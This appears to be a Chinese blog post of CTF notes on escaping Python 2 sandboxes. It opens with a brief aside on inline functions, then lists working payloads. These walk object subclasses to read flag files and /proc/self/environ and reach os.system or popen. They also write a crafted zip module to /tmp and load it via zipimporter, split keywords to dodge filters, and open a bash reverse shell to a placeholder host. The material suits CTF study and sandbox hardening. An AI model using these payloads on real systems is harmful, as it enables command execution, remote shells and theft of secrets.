1.内联函数
_builtins_
_import_
关于内联函数,
我的理解就是省去函数调用时函数返回地址、参数的压入栈的开销,而采用类似宏定义的代码展开方式,直接在该处替代成完整函数(理解错误请私聊本菜鸡~~)
![](https://img.haomeiwen.com/i7513797/117cbbeba3eafc11.png)
Payload
查看文件
print [].__class__.__base__.__subclasses__()[40]('/home/ctf/flag').read()
linecache中查找os模块执行系统命令
print [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[144]('id')
在自模块中寻找 os 模块执行系统命令
{}.__class__.__bases__[0].__subclasses__()[71].__getattribute__({}.__class__.__bases__[0].__subclasses__()[71].__init__.__func__,'func'+'_global' +'s')['o'+'s'].popen('bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"')
其中bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"
等价于bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1
,详细参考bash -c
而bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1
则是反弹shell,详细参考shell反弹
读取重要信息
print [].__class__.__base__.__subclasses__()[40]('/proc/self/environ').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/exe').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/maps').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/cmdline').read()
构造 zip module 使用 zipimporter
code = "PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\\x00\x00\x00c\x00\x00\x00\x00\x00"
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz', 'a+').write(code)
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz').read()
[].__class__.__base__.__subclasses__()[55]('/tmp/err0rzz').load_module('Err0rzz')
运行结果如下
![](https://img.haomeiwen.com/i7513797/a3b3d3f53afe543d.png)
另外的操作
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
print ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['__builtins__']['e'+'v'+'a'+'l']("__import__('o'+'s').__dict__['sy'+'stem']('whoami')")
参考文章
https://www.jianshu.com/p/30ece4087a8a
https://blog.csdn.net/qq_35078631/article/details/78504415
网友评论